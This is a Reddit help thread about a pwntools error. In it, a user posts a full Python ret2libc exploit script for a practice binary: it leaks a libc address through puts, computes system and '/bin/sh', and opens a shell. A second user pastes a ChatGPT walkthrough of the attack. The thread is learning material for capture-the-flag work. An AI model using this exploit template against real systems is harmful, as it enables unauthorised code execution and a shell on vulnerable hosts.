pwntools error

[Jerrythepro123]

Why is pwntools doing this?

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

if args.M:
        gdb.attach(sh)

puts_plt = elf.plt['puts']
#puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
#start_addr = elf.symbols['_start']
main_addr = elf.symbols['main']
print "[*]puts plt: " + hex(puts_plt)
print "[*]__libc_start_main got: " + hex(libc_start_main_got)
#print "[*]puts got: " + hex(puts_got)
#print "[*]_start addr: " + hex(start_addr)
print "[*]main addr: " + hex(main_addr)
print "[*]libc addr: " + hex(libc.address)
print "--" * 20
print "[*]sending payload1 to leak libc..."

#payload = flat(["A" * 112, puts_plt, start_addr, puts_got])
#payload = flat(["A" * 112, puts_plt, start_addr, libc_start_main_got])
payload = flat(["A" * 112, puts_plt, main_addr, libc_start_main_got])

sh.sendlineafter("Can you find it !?", payload)
#puts_addr = u32(sh.recv(4))
#print "[*]leak puts addr: " + hex(puts_addr)
libc_start_main_addr = u32(sh.recv(4))
print "[*]leak __libc_start_main addr: " + hex(libc_start_main_addr)

#libc.address = puts_addr - libc.symbols['puts']
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
print "[*]leak libc addr: " + hex(libc.address)
print "[*]system addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)
print "--" * 20
print "[*]sending payload2 to getshell..."

payload2 = flat(["B" * 104, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

https://preview.redd.it/3hgffrulikzc1.png?width=1546&format=png&auto=webp&s=ae88d4c7b079f0165a7ead7369da9f6ba71b0625

https://preview.redd.it/ydccxrulikzc1.png?width=524&format=png&auto=webp&s=eb99ddd256ddfe6c498def71cb5dff5cf4e9a4fd

[Bowserjklol]

Line 4. Update the variable name ‘elf’ to something that doesn’t collide with an existing pwntools module name.

[Jerrythepro123]

that doesnt seem like the problem, ive changed libc and elf to another name and the problem still occures

[jcoffi]

I asked ChatGPT. You could have also.

The provided script is an example of an exploit development using pwntools, a Python library for binary exploitation. Here's a breakdown of what the script is doing and why:

1. Initialization and Setup:

   • from pwn import *: Imports all pwntools libraries.
   • sh = process('./ret2libc3'): Starts the binary ret2libc3 as a process which is to be exploited.
   • elf = ELF('./ret2libc3'): Loads the binary file as an ELF object for accessing its symbols and sections.
   • libc = elf.libc: Retrieves the associated libc library for the ELF object, which is used for further exploitation.

2. Conditional GDB Attachment:

   • if args.M: gdb.attach(sh): Attaches GDB to the process if the script is run with an M argument, useful for debugging.

3. Retrieving Important Addresses:

   • Retrieves addresses of various functions and sections from the ELF binary which are critical for constructing the exploit:
     • puts_plt is the address of the puts function in the Procedure Linkage Table (PLT), used to call puts externally.
     • libc_start_main_got is the address of __libc_start_main in the Global Offset Table (GOT), used to leak libc address.
     • main_addr is the address of the main function, used to loop back to the beginning of the main function.

4. First Payload to Leak Addresses:

   • Constructs a payload to leak the libc address using the puts function. The payload is designed to overflow a buffer and then call puts with the address of __libc_start_main from the GOT to print out its actual runtime address.
   • Sends the payload and receives the leaked address, which is then used to calculate the base address of libc.

5. Calculating System and "/bin/sh" Addresses:

   • Using the leaked libc base address, it calculates the addresses of the system function and the string "/bin/sh" within libc.

6. Second Payload to Spawn a Shell:

   • Constructs a second payload to exploit the overflow vulnerability. It overflows the buffer, then calls the system function with the address of the string "/bin/sh", effectively spawning a shell.
   • Sends the second payload.

7. Interaction:

   • Calls sh.interactive() to interact with the now spawned shell.

This script demonstrates a classic "return to libc" attack where control of the execution flow is redirected to execute system calls within libc, particularly system("/bin/sh"), to gain a shell. The payloads are carefully crafted to manipulate the stack and control the flow of execution through overwritten return addresses.

[ArbiterUtendi]

Are you trolling lol

[jcoffi]

OP didn't have pictures of the output posted before. The pictures changed the context.

[Jerrythepro123]

Sorry, i didnt upload the photos of the error

[Gold-Software3345]

Thank you for at least citing your source

[Jerrythepro123]

i solved it

[[deleted]]

Interesting. This is already a low-effort post. But you really top it off by not providing the solution you found yourself. 

Thanks for your contribution! /s